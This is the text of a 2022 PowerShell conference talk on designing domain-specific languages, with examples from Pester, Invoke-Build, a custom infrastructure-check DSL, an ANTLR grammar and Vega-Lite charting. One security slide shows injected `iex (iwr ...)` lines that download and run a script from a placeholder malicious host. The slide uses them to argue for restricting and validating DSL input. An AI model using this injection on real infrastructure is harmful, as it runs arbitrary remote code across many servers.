PowerShell Conference Europe

Demystifying PowerShell DSLs

Manfred Wallner

PSCONF.EU VIENNA 20 - 23 June 2022

Many thanks to our sponsors:

SquaredUp

au2mator

PATCH MY PC

Chocolatey

System Frontier

ScriptRunner®

Manfred Wallner

- Software Engineer (~15 years)
  - Freelancer, R&D
  - Automotive
- PowerShell since 2016 (Chocolatey)
- @schusterfredl

What is a 'DSL'

> A domain-specific language (DSL) is a computer language specialized to a particular application domain. This is in contrast to a general-purpose language (GPL), which is broadly applicable across domains.

(wikipedia)

What is a 'Domain'

Basically any field of expertise that people specialize in.

- Mathematics
- Physics / Chemistry
- Data Querying
- Data Visualization
- Build Systems
- IT Monitoring
- ...

What is (not) a 'DSL'

- PowerShell

```
$hostAddr = '192.168.0.254'
$testCon = Test-Connection $hostAddr -Count 1 -ErrorAction SilentlyContinue
if ($testCon -And $testCon.Status -ne 'SUCCESS') {
  throw "failed to connect to $hostAddr"
}
else {
  'OK'
}
```

What is a 'DSL'

- human readable:

```
ActiveHost '192.168.0.254'
```

- Domain: IT / infrastructure / monitoring

What is a 'DSL'

- Domain specific, human readable:

```
-----------------------------------
|  ActiveHost | '192.168.0.254' |
-----------------------------------
      |                   |
      |                   |
      |                   |
      v                   v
    <what>     |   <properties>
```

"ActiveHost?"

```
ActiveHost '192.168.0.254'
```

```
function ActiveHost ($HostAddress) {
  $testCon = Test-Connection $HostAddress -Count 1 -ErrorAction SilentlyContinue
  if ($testCon -And $testCon.Status -ne 'SUCCESS') {
    throw "failed to connect to $HostAddress"
  }
  else {
    'OK'
  }
}
```

"ActiveHost?"

```
ActiveHost '192.168.0.254'
```

vs.

```
Test-IsHostActive -HostAddress '192.168.0.254'
```

WARNING: we'll have to *bend* PowerShell best practices a *little*.

IT-Infrastructure - a custom DSL

```
Host 'buildSrv01.myorg' {
  Services { 'WinRM', 'ChocolateyAgent' }
  Chocolatey { 'git', 'vs2019-buildtools' }
}

Host 'ADCtrl002.myorg' {
  Timeout 10
  Services { 'WinRM', 'ChocolateyAgent', 'WSearch', 'minecraft' }
  Chocolatey { 'minecraft-server.portable' }
}
```

Demystifying PowerShell DSLs

Have you been using a PowerShell DSL before?

- Pester
- Invoke-Build
- Psake
- PSHTML
- ...

Demystifying PowerShell DSLs

Pester

```
Describe {
  Context {
    It {
      <Something> | Should <Work>
      <Something> | Should -Not <Work>
    }
  }
}
```

Pester

```
[ ScriptBlock[] ]
Describe { [ ScriptBlock[] ]
  [ Context { ] [ ScriptBlock[] ]
      It { [ ScriptBlock[] ]
        [ <Something> | Should <Work> ] [ ScriptBlock[] ]
        [ <Something> | Should -Not <Work> ] [ ScriptBlock[] ]
      } [ ScriptBlock[] ]
  [ } ] [ ScriptBlock[] ]
} [ ScriptBlock[] ]
```

Pester is **extending** a GPL (PowerShell)

Invoke-Build

```
use 15.0x86 MSBuild

# Synopsis: Build the project.
task Build {
    exec { MSBuild Project.csproj /t:Build /p:Configuration=Release }
}
# Synopsis: Remove temp files.
task Clean {
    remove bin, obj
}
# Synopsis: Build and clean.
task . Build, Clean
```

Invoke-Build is **extending** a GPL (PowerShell)

Invoke-Build

```
use 15.0x86 MSBuild
[ ScriptBlock[] ]
# Synopsis: Build the project.
task [ ScriptBlock[] ] Build { [ ScriptBlock[] ]
    exec { [ ScriptBlock[] ] MSBuild Project.csproj /t:Build /p:Configuration=Release }
    [ ScriptBlock[] ]
}
[ ScriptBlock[] ]
# Synopsis: Remove temp files.
task [ ScriptBlock[] ] Clean { [ ScriptBlock[] ]
    remove bin, obj [ ScriptBlock[] ]
} [ ScriptBlock[] ]
[ ScriptBlock[] ]
# Synopsis: Build and clean.
[ ScriptBlock[] ] task [ ScriptBlock[] ] . [ ScriptBlock[] ] Build, [ ScriptBlock[] ] Clean [ ScriptBlock[] ]
[ ScriptBlock[] ]
```

Invoke-Build is **extending** a GPL (PowerShell)

Invoke-Build

> If you name your script like *.build.ps1, e.g. Hello.build.ps1, then it can be run by a simple command:

```
Invoke-Build
```

> If no task name is passed, Invoke-Build runs the default task '.' if it is defined. Otherwise it runs the first task found, Hello in this example.

Pester & Invoke-Build

Demystifying PowerShell DSLs

extending vs. *restricting* languages

IT-Infrastructure - a custom DSL

```
Host 'buildSrv01.myorg' {
  Services { 'WinRM', 'ChocolateyAgent' }
  Chocolatey { 'git', 'vs2019-buildtools' }
}

Host 'ADCtrl002.myorg' {
  Timeout 10
  Services { 'WinRM', 'ChocolateyAgent', 'WSearch', 'minecraft' }
  Chocolatey { 'minecraft-server.portable' }
}
```

IT-Infrastructure - a custom DSL

Keywords

- `Host`
- `Timeout` (Optional)
- `Services` (Optional)
- `Chocolatey` (Optional)

- We do **NOT** want to extend PowerShell with this custom DSL!
  (attack vector: 'arbitrary' code run against a large portion of infrastructure/servers)

```
Host 'ADCtrl002.myorg' {
  Services WinRM
  $(iex (iwr 'http://malicious.site:666/harhar.ps1'))
}
```

```
Host "$(iex (iwr 'http://malicious.site:666/harhar.ps1'))" {
   ...
}
```

- We **DO** want to leverage what's already been done.
  (a.k.a. don't reinvent the wheel)
- The IT-Infrastructure DSL will *test* certain conditions and assumptions
  (that's what *pester* excels at)

Infrastructure DSL - security aspects

- Domain experts may or may not be IT security experts
- PowerShell strings are VERY sensitive in terms of malicious code injection

check code before execution!

- `DATA -SupportedCommands @(Host,Services,Chocolatey,..) {<...>}`
- ANTLR

Infrastructure DSL - ANTLR Grammar

```
grammar Infracheck;

hostdef: HOST QTEXT body?;
body: '{' hostspec '}';
hostspec: servicespec | chocospec;

SQ: '\'';
QTEXT: SQ ~'\''* SQ;

HOST: 'Host';
SERVICES: 'Services';
...
```

ANTLR

Infrastructure DSL - PowerShell Module

```
# Infracheck.g4 -> PowerShell

function Host {...}

function Services {...}

function Chocolatey {...}
```

Infrastructure DSL - Launcher/Helper

```
Invoke-Infracheck -File myorg.group1.infra


function Invoke-Infracheck {
  param(
    [string] $File,
    [switch] $PassThru
  )
  ...
}
```

Infrastructure DSL

Chaining DSLs - Vega Lite

```
VegaLiteChart -Verbose {
    Test { Invoke-Infracheck -File myorg.group1.infra }

    BarChart {
        Title 'Infra Health Status'
        Encoding @{
            x     = 'Result'
            y     = 'Name'
            color = 'Result'
        }
    }
}
```


Q
A


PSCONF.EU
VIENNA
20 - 23 June 2022